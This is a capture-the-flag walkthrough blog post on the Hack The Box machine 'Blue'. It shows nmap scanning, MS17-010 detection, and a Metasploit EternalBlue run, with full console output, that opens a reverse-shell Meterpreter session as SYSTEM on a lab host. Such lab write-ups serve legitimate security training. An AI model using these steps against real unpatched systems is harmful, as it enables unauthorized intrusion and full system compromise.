Welcome back hackers!! Today we will be doing another windows box named Blue. As the name of the box suggests, the vulnerability we will be exploiting is most probably Eternal Blue. Lets jump in.

Enumeration

```
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601
Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
```

We can see from the open ports that rpc and smb services are running. We will first run a vulnerability script from nmap to see if there are any vulnerabilities associated with any of these ports, if nothing exists, then we will enumerate individual ports.

```
Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1
servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability
```

```
exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-
us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-
2017-0143
|_
https://blogs.technet.microsoft.com/msrc/2017/05/12/custome
r-guidance-for-wannacrypt-attacks/
```

Script results are out. We can see the smb service is vulnerable to remote code execution. Nmap has also given us the CVE to look for.

Exploitation

For this walkthrough, we will be using metasploit. Switch to msfconsole and search ms17. You will see quite a few exploits related to eternal blue. We will be using Eternal Blue Kernel Pool Corruption.

```
msf6 > search ms17

Matching Modules
================

   #   Name                                                 Disclosure Date  Rank     Check  Description
   -   ----                                                 ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue             2017-03-14       average  Yes    MS17-010 EternalBlue S
MB Remote Windows Kernel Pool Corruption
   1   exploit/windows/smb/ms17_010_psexec                  2017-03-14       normal   Yes    MS17-010 EternalRomanc
e/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2   auxiliary/admin/smb/ms17_010_command                 2017-03-14       normal   No     MS17-010 EternalRomanc
e/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3   auxiliary/scanner/smb/smb_ms17_010                                    normal   No     MS17-010 SMB RCE Detec
tion
   4   exploit/windows/fileformat/office_ms17_11882         2017-11-15       manual   No     Microsoft Office CVE-2
017-11882
   5   auxiliary/admin/mssql/mssql_escalate_execute_as                       normal   No     Microsoft SQL Server E
scalate EXECUTE AS
   6   auxiliary/admin/mssql/mssql_escalate_execute_as_sqli                  normal   No     Microsoft SQL Server S
QLi Escalate Execute AS
   7   auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli                 normal   No     Microsoft SQL Server S
```

Select this module, set rhosts, lhost and first run check command to confirm whether the target is vulnerable or not:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > check

[*] 10.129.172.246:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.172.246:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (
64-bit)
[*] 10.129.172.246:445    - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.172.246:445 - The target is vulnerable.
```

If the check is a success, we can go ahead with exploitation.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.16.19:4444
[*] 10.129.172.246:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.172.246:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (
64-bit)
[*] 10.129.172.246:445    - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.172.246:445 - The target is vulnerable.
[*] 10.129.172.246:445 - Connecting to target for exploitation.
[+] 10.129.172.246:445 - Connection established for exploitation.
[+] 10.129.172.246:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.172.246:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.172.246:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.172.246:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.172.246:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.129.172.246:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.172.246:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.172.246:445 - Sending all but last fragment of exploit packet
[*] 10.129.172.246:445 - Starting non-paged pool grooming
[+] 10.129.172.246:445 - Sending SMBv2 buffers
[+] 10.129.172.246:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.172.246:445 - Sending final SMBv2 buffers.
[*] 10.129.172.246:445 - Sending last fragment of exploit packet!
[*] 10.129.172.246:445 - Receiving response from exploit packet
[+] 10.129.172.246:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.172.246:445 - Sending egg to corrupted connection.
[*] 10.129.172.246:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.129.172.246
[*] Meterpreter session 1 opened (10.10.16.19:4444 → 10.129.172.246:49158 ) at 2022-01-02 18:07:52 -0500
[+] 10.129.172.246:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.172.246:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.172.246:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

We can see from the screenshot that we are NT Authority/System. No need of escalation. Cheers!!